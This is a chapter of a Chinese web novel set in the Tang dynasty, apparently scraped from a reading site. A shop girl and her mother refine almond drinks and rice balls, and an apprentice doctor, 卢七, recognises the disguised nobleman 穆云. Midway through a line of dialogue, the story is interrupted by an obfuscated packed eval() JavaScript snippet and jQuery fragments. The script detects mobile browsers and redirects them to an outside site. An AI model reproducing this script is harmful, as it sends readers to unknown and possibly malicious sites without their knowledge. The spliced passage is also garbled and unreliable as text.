17. 在下卢七
作品:《大唐小甜铺》 “想什么呢?魂不守舍的。”崔棠伸手在穆云眼前晃了晃。
她举着一杯饮子在他面前好一会儿了,穆云却一直在走神。崔棠眨巴眨巴眼睛,期待地看着他:“犒劳你抓了鱼,给你尝尝阿娘新做的杏仁露,里头还加了核桃呢!”
这杏仁核桃露,如今像醉仙楼这类大酒楼里也有卖,算是个精细的饮子。但其实工序并不复杂,先将杏仁和核桃浸泡后用石磨研磨成浆,再用细麻布滤去渣滓,在陶罐中加热煮沸。最后根据口味,或调入崖蜜或加入蔗糖。
若是可以在市井售卖,只要价格有优势,就算工艺稍微差些,也很有市场。
穆云拿过杯子抿了一口,眉头却皱了起来。
“不好喝吗?不应该呀,”崔棠见他这模样,自己也拿过另一杯“咕咚咕咚”喝了两口。
嗯……这味道是还行,就是咽下去的时候着实有些拉嗓子。
“咳咳咳——阿娘这个杏仁露是不是要再滤几遭?”崔棠回头问道。
贺梅娘其实也正在为这事发愁:“这麻布孔眼大,滤了几回都不够细。而且大石磨磨出来糙得很,浆汁就不醇厚,喝着也有些寡淡。”
“或许多叠几层麻布可以滤得细一些?”穆云斟酌着道,“其实若真要细还得用丝。”
崔棠被这不食人间烟火的公子哥儿气笑了:“穆小郎君怕是不知晓,这丝绸绫罗满县城都没几个人用得起呢!”
穆云一噎,低头看了看身上的粗葛衣,闭上了嘴。
崔棠叹了口气,都说大唐盛世,其实平民哪朝哪代都过得一样辛苦,能够温饱就算极好的世道了。
这丝绸在这个时代极为昂贵,甚至可以作为货币流通,也只有那些长安贵族或是豪富才能日常穿。一般的富户也只是在婚嫁这种重大场合,偶尔添置几件。像后世平民用的棉布,此时都还未出现,不然用来做滤布也是极好的。
她拿起那麻布,手指搓了搓,“不如多用几层,三层——不,六层,阿娘你用六层麻布再滤一滤试试!明儿阿耶不就来了嘛,请他再看看那石磨又没有法子再改改。”
“行,照你说的办!”
这回滤完的液体倒是细腻了很多,勉强可入口了。
但勉强可不是崔棠推出新品的标准,棠记如今招牌不少,倒不缺这一个杏仁露,“这个先不上吧,看看我们订得干货另外能做些什么。”
贺梅娘有一点失望,但她也理解崔棠的想法,“你先别愁,阿娘还做了个吃食,一会儿用完晚食就能吃了。”
自家母亲的本事,崔棠还是很信得过的,果然三人吃完晚食,贺梅娘就端上了一盘软软糯糯的团子。
“阿娘,这是玉露团!”崔棠惊喜地喊道。
她最喜欢这种糯叽叽的吃食了,刚穿来的时候条件不好,现在偶尔可以买来尝一尝解馋,但也卖得贵得很。外面是糯米粉揉成的团子,内里是豆沙馅,有的还会在外头裹一层椰丝或糖霜。
贺梅娘颇有些骄傲,“那杏仁滤渣煮沸做饮子有些糙,但做糯米团子确实口感刚刚好。”
穆云一口一个糯米团子,嘴里嘟嘟囔囔地,“贺姨这个团子做的甚好,比长安西市的浮香阁有过之无不及。”
“哈哈……哪就有这么好了。”贺梅娘嘴上说着谦虚的话,心底确实很是受用。
崔棠也吃的见牙不见眼:这加了杏酪的糯米团子吃起来多了分清爽,里头的枣泥馅滋味也是极好。
想到后世那些各式各样的糯米团子,崔棠眼睛发光,“阿娘,这糯米团子可以多做几个口味,比如核桃馅、芝麻馅,外头可以是不同颜色,绿的掺艾汁,黄的掺粟米粉……这东西方便装盒,以后卖得好的话,可以单独做一个礼盒。”
贺梅娘自是无有不应的。
果然不出崔棠所料,这不同口味的玉露团第二日一经推出就大受欢迎。虽然别家也有卖玉露团的,但口味不如棠记丰富,价格也比棠记贵上几文。
为怕客人噎着,崔棠还附赠一小杯杏仁甘枣饮。这杏仁干枣饮与杏仁露不同,只需要加入红枣、陈皮文火煎一会儿,加入崖蜜就能喝。十分便宜大碗,做起来也方便。
“走过路过看一看嘞!棠记新品五色玉露团,还送甜丝丝的饮子喝嘞!”陈大虎举着咬剩半块的杏酪玉露团当活招牌。
这陈大虎不止能说会道,吃起东西来表情也很是夸张,白饭都能吃的如痴如醉,崔棠称之为古代版吃播。
“阿翁阿婆尝尝新出的攒盒?”脆生生冒出个小脑瓜,一个八九岁的小丫头抱着竹匾,脑袋上两个小揪揪一跳一跳的。
崔棠看着她总有种压榨童工的负罪感:这是陈大虎的妹子妙儿,因在家无人照看,陈大虎特央了崔棠做工时带上妹子。这小女孩乖巧的紧,常常主动帮手干活,于是棠记也管了她两顿饭。
“小矮瓜,接着——”穆云“啪”地飞了碟剥好的核桃仁到柜台上,“再揪头发当心成小秃子!”
要说气人还是穆二在行,专戳她痛脚。崔棠踮脚去够柜台顶的糖罐,对比穆云之前轻松就能拿到,不由气结。想她前世十二岁早蹿到母亲耳际,哪像如今矮得活似个糯米团子。好在江南娘子多娇小,偏这穆二跟春笋似的天天拔节!
崔棠抬头瞪他一眼,恶狠狠地挤出一句“多谢”。还是得对他好些,毕竟也算是店里的“代言人”了。穆云近来美黑膏越用越少,肤色因活干的多,倒没之前白的那么突出了。穿一身粗布衣服依然剑眉星目,倒把来店里的一众小娘子们看得脸红。
穆云被看得一脸莫名其妙,撇撇嘴又回里间继续砸核桃去了。
“崔小娘子——”一个穿着葛布道袍、蹬十方履的老翁拄着竹杖晃进门来,腰间葫芦随着步子叮咚响,老丈眯眼笑得满脸褶子开花,“听闻又琢磨出什么神仙吃食了?”
自打棠记开张,这位老道士着便雷打不动来“试新”,什么甜吃什么,回回吃完还打包一份带走,算是个很慷慨的常客了。
崔棠忙用襻膊系起衣袖,从柜子里端出攒盒:“正等着您老品鉴呢!新做的五色玉露团,当心粘牙。”她特意把竹签往老翁手边推了推。
“放心吧!小老儿牙口好着呢。”老道士呵呵直笑。
门帘“哗啦”乱响,铺子里突然撞进个青衫少年,肩上麻袋还沾着新鲜泥点。
崔棠正给老道士倒饮子,听到声音有些耳熟,一抬头——这不是那个向她低价买山茱萸的人嘛!
那人也明显认出了她,他把麻袋往地上一墩:“我说小娘子,不是说给我送山茱萸,怎么再也没音讯了?”
崔棠挑眉打量他,假装才认出来,“哟,上回说好的山茱萸价,可比陈记干货铺低三成呢——”
“猢狲崽子!”
老道士的拐杖精准命中那人小腿肚子,“你还叨叨啥呢?定是你坑蒙拐骗人家崔小娘子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199788|164202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还不给我赔礼道歉!”
那人揉着小腿苦哈哈地作揖,“是在下唐突,这袋新挖的茯苓权当赔礼。”
崔棠嘴角抽了抽,她本就没把这事放在心上,再说她也放了人家鸽子,既然对方给了台阶,她也大度地表示,“无妨无妨,不打不相识嘛!这位——”
“在下卢七。”
“哦。这位卢郎君,这是小店新出的玉露团您也尝尝。”崔棠摸出个荷叶包拍他手上。
卢七咬了口团子眼睛骤亮,真诚地评价道:“比师父搓的丸子好吃多了!”
“小兔崽子,那是药丸子你当糖吃呢?”老道士咆哮起来。
崔棠望着这斗嘴的师徒俩直扶额,道骨仙风的老道士其实是个嗜甜如命的暴躁大夫,温润如玉的面善郎君实则是个讨打的调皮小子。
“闹腾什么呢?”穆云掀帘出来时手里还拿着个核桃。
崔棠张了张嘴还没出声,卢七猛地蹦了起来奔过去,“谢——”
穆云一巴掌捂住卢七的嘴,拼命使眼色,直到卢七示意自己懂了才放开。
卢七大喘一口气问他:“你怎么在这里?”
崔棠眉毛挑得老高:好家伙,这俩还是旧相识呢!
天井里树影婆娑,灶间传来“咕噜咕噜”陶罐煮饮子的声音。院子里的贺梅娘和崔弘早被崔棠拉去了前边。
卢七跷着腿转银针,“没想到谢三郎放着好好世家公子不做,还有这做跑堂的癖好。”
“某是穆云,”穆云神色严肃地纠正他,又轻笑道:“你堂堂范阳卢氏嫡子,不也整日跟着神医东奔西跑做仆从。”
“卢氏那么多嫡子,少一个卢七郎没什么打紧,还少了个人分财产呢!”
两人对视一眼哈哈大笑。世家大族虽好,却不是人人都甘愿做提线木偶的。这也是两人自八岁上打了一架后,就一见如故成了好友的原因。
“说正经的,”卢七突然敛了笑,银针在指间泛着冷光,“月前师父在西山山坳捡到个跳崖的。”他用针尖在案上勾出个人形,“浑身筋骨断了七成,泡了一个月药浴才缓过来。”
卢七瞥见他指节发白,叹气道:“本是摔得脑子也不甚清明了,前日那人突然记起些往事来。某这才发现,这人瞧着眼熟原是我见过的——就是你那跟班穆青!”
他顿了顿接着说道:“某便去信长安想与你说这事,没想到你竟是在安吉。也是,穆青在此你又怎会在长安。”
穆云手中茶盏“咔”地裂了条缝,就要起身往外走,“快带我去见他!”
卢煜闪身拦住去路,有些欲言又止,“他虽能下地,但……”
“等等!”穆云突然正色道,“你往长安去了信?信里写了些什么?”
“也没什么,就是告诉你救了穆青这事。怎么,出什么事了?”
穆云深吸一口气,缓缓吐露。“是那位夫人,一路追到这里,穆青是为了护某。后来某只能做了个假象,让那些狗腿子误以为掉下悬崖的是我……”
“什么?那我这信岂不是,得赶紧去追回来——”卢七惊得跳了起来。
穆云苦笑,“算了来不及了,某只是想过几天清净日子罢了。反正这种拙劣的把戏迟早会被拆穿,某又不可能真的在此隐姓埋名一辈子。”
卢七又坐了下来,“那后面你是怎么想的?那崔家人看着不知情,但我看你跟崔小娘子似乎亲近得很……”